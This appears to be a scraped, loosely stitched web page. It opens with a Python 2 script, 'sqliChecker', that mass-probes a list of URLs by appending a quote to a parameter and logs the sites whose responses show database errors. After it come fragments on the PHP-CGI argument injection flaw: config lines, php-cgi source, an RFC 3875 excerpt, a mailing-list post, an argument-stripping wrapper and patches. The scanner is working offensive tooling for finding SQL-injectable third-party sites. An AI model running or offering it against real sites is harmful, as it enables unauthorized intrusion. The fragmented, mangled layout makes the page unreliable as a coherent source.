carbylamine.phpDownload carbylamine
sqliChecker it's a mass list sqli vulnerabilty checker who detect vuln sites from a text file in multiple database types like Mysql, Mssql, Msaccess, Oracle. Automaticly remove duplicated sites.Simple script and easy to use.python sqliChecker.py vulnlistfile.txt
#!/usr/bin/python
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# Toolname : sqliChecker.py
# Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
# Version : 0.1
# Greetz for rsauron and low1z, great python coders
# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft, c0ax, b0ne, tek0t and all members of ex darkc0de.com, ljuska.org
#
import os, sys, subprocess, socket, urllib2, re, time
try:
set
except NameError:
from sets import Set as set
def timer():
sec = time.time()
return sec
def logo():
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 05/2012 sqliChecker.py v.0.1 |"
print "| b4ltazar.wordpress.com & ljuska.org |"
print "| |"
print "|---------------------------------------------------------------|\n"
if sys.platform == 'linux' or sys.platform == 'linux2':
subprocess.call("clear", shell=True)
logo()
else:
subprocess.call("cls", shell=True)
logo()
timeout = 10
socket.setdefaulttimeout(timeout)
log = "sqlivuln.txt"
logfile = open(log, "a")
urls = []
vuln = []
sqlerrors = {'MySQL': 'error in your SQL syntax',
'MiscError': 'mysql_fetch',
'MiscError2': 'num_rows',
'Oracle': 'ORA-01756',
'JDBC_CFM': 'Error Executing Database Query',
'JDBC_CFM2': 'SQLServer JDBC Driver',
'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
'MSSQL_Uqm': 'Unclosed quotation mark',
'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
'MS-Access_JETdb': 'Microsoft JET Database',
'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
'Server Error' : 'Server Error',
'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
'Invalid Querystring' : 'Invalid Querystring',
'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
'VBScript Runtime' : 'VBScript Runtime',
'ADODB.Field' : 'ADODB.Field',
'BOF or EOF' : 'BOF or EOF',
'ADODB.Command' : 'ADODB.Command',
'JET Database' : 'JET Database',
'mysql_fetch_array()' : 'mysql_fetch_array()',
'Syntax error' : 'Syntax error',
'mysql_numrows()' : 'mysql_numrows()',
'GetArray()' : 'GetArray()',
'FetchRow()' : 'FetchRow()',
'Input string was not in a correct format' : 'Input string was not in a correct format'}
if len(sys.argv) != 2:
print "[+] Usage: python sqliChecker.py "
print "[+] Please visit ljuska.org & b4ltazar.wordpress.com"
print "[!] Exiting, thanks for using script"
sys.exit(1)
checklist = sys.argv[1]
starttimer = timer()
try:
check = open(checklist, "r")
checkline = check.readlines()
print "[!] You have",len(checkline),"links to check\n"
except(IOError):
print "[-] Error, check your path or file name!"
print "[+] Please visit ljuska.org & b4ltazar.wordpress.com"
print "[!] Exiting, thanks for using script"
sys.exit(1)
for url in checkline:
url = url.replace("\n", "")
url = url.rsplit('=', 1)[0]+"="
url = url+"'"
urls.append(url)
def classicINJ(url):
num = 1
for url in urls:
try:
source = urllib2.urlopen(url).read()
for type,eMSG in sqlerrors.items():
if re.search(eMSG, source):
print num,"/",len(urls), "w00t!,w00t!:", url, "Error:", type, " ---> SQL Injection Found"
vuln.append(url)
else:
pass
except:
pass
num += 1
if __name__ == "__main__":
classicINJ(url)
print "\n[!] There is %s vulnerable sites to SQL Injection" % len(vuln)
vulnerable = list(set(vuln))
print "[+] Without duplicates we have %s vulnerable sites to SQL Injection" % len(vulnerable)
for v in vulnerable:
logfile.write("\n"+v)
endtimer = timer()
print "\n[+] Time used for checking :", int(((endtimer-starttimer) / 60)), "minutes"
print "[+] Average time per link is :", int(((endtimer-starttimer) / float(len(checkline)))), "seconds"
print "[+] Please visit ljuska.org & b4ltazar.wordpress.com"
or direct link from pastebin http://pastebin.com/raw.php?i=jA7wrWw1
1
2
3
4
| Options +ExecCGIAddHandler php5-cgi .phpAction php-cgi /cgi-bin/php-wrapper.fcgiAction php5-cgi /cgi-bin/php-wrapper.fcgi |
1
2
| #!/bin/shexec /dh/cgi-system/php5.cgi $* |
"$@")
1
2
3
4
5
6
7
8
9
10
11
| if (!fastcgi) { /* Make sure we detect we are a cgi - a bit redundancy here, * but the default case is that we have to check only the first one. */ if (getenv("SERVER_SOFTWARE") || getenv("SERVER_NAME") || getenv("GATEWAY_INTERFACE") || getenv("REQUEST_METHOD") ) { cgi = 1; }} |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| 4.4. The Script Command Line Some systems support a method for supplying an array of strings to the CGI script. This is only used in the case of an 'indexed' HTTP query, which is identified by a 'GET' or 'HEAD' request with a URI query string that does not contain any unencoded "=" characters. For such a request, the server SHOULD treat the query-string as a search-string and parse it into words, using the rules search-string = search-word *( "+" search-word ) search-word = 1*schar schar = unreserved | escaped | xreserved xreserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," | "$" After parsing, each search-word is URL-decoded, optionally encoded in a system-defined manner and then added to the command line argument list. If the server cannot create any part of the argument list, then the server MUST NOT generate any command line information. For example, the number of arguments may be greater than operating system or server limits, or one of the words may not be representable as an argument. The script SHOULD check to see if the QUERY_STRING value contains an unencoded "=" character, and SHOULD NOT use the command line arguments if it does. |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| From: Rasmus Lerdorf Subject: [PHP-DEV] php-cgi command line switch memory checkNewsgroups: gmane.comp.php.develDate: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)In our SAPI cgi we have a check along these lines: if (getenv("SERVER_SOFTWARE") || getenv("SERVER_NAME") || getenv("GATEWAY_INTERFACE") || getenv("REQUEST_METHOD")) { cgi = 1; } if(!cgi) getopt(...)As in, we do not parse command line args for the cgi binary if we arerunning in a web context. At the same time our regression testing systemtries to use the cgi binary and it sets these variables in order toproperly test GET/POST requests. From the regression testing system weuse -d extensively to override ini settings to make sure our testenvironment is sane. Of course these two ideas conflict, so currently ourregression testing is somewhat broken. We haven't noticed because wedon't have many tests that have GET/POST data and we rarely build the cgibinary.The point of the question here is if anybody remembers why we decided notto parse command line args for the cgi version? I could easily see itbeing useful to be able to write a cgi script like: #!/usr/local/bin/php-cgi -d include_path=/path |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| /* * Small wrapper which strips all arguments to invocations * of php-cgi when it is called as a normal CGI handler. * This prevents attackers to pass arguments from the query * string as defined in RFC 3875. [1] * * */#include #include #include #include #include #define PHP_ORIG "/usr/bin/php5-cgi.orig" /* Original binary */typedef union _sa_t { struct sockaddr sa; struct sockaddr_un sa_unix; struct sockaddr_in sa_inet; /* struct sockaddr_in6 should probably be here as well, * doesn't matter though, since struct sockaddr_un * is big. */} sa_t;int is_fastcgi(void){ sa_t sa; socklen_t len = sizeof(sa); return ( getpeername(0, (struct sockaddr *)&sa, &len) != 0 && errno == ENOTCONN );}int main(int argc, char **argv){ /* mimic php's cgi detection */ if ( !is_fastcgi() && (getenv("SERVER_SOFTWARE") || getenv("SERVER_NAME") || getenv("GATEWAY_INTERFACE") || getenv("REQUEST_METHOD") ) ) argv[1] = NULL; execv(PHP_ORIG, argv);} |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| Disable argument parsing when invoked as CGI (and NOT when invoked asFastCGI.) This to prevent programs from passing arguments to php-cgivia the query string as specified by RFC 3875. [1]This patch may break CGI scripts that depend on arguments passed viashebang arguments, eg. '#!/usr/bin/php-cgi -dmagic_quotes_gpc=Off',but this is inherently unsafe, since these arguments may have come fromthe network.Backward compatibility could theoretically be faked by parsing theshebang arguments from the file itself, but this leads to a circulardependency since the script filename depends on the configuration whichmay be changed in the shebang line of the file (due to cgi.fix-pathinfo.)Index: sapi/cgi/cgi_main.c===================================================================--- sapi/cgi/cgi_main.c (revision 322984)+++ sapi/cgi/cgi_main.c (working copy)@@ -1552,7 +1552,7 @@ } }- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {+ if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) { switch (c) { case 'c': if (cgi_sapi_module.php_ini_path_override) {@@ -1801,7 +1801,7 @@ } zend_first_try {- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) {+ if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) { switch (c) { case 'T': benchmark = 1; |
1
2
3
4
5
6
7
8
9
10
11
12
13
| diff --git a/sapi/cgi/cgi_main.c b/sapi/cgi/cgi_main.cindex e6d011b..8e2d0ba 100644--- a/sapi/cgi/cgi_main.c+++ b/sapi/cgi/cgi_main.c@@ -1809,7 +1809,7 @@ int main(int argc, char *argv[]) if(query_string = getenv("QUERY_STRING")) { decoded_query_string = strdup(query_string); php_url_decode(decoded_query_string, strlen(decoded_query_string));- if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {+ if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) { skip_getopt = 1; } free(decoded_query_string); |
source from: eindbazen.net
PHP CGI Argument Injection Exploit
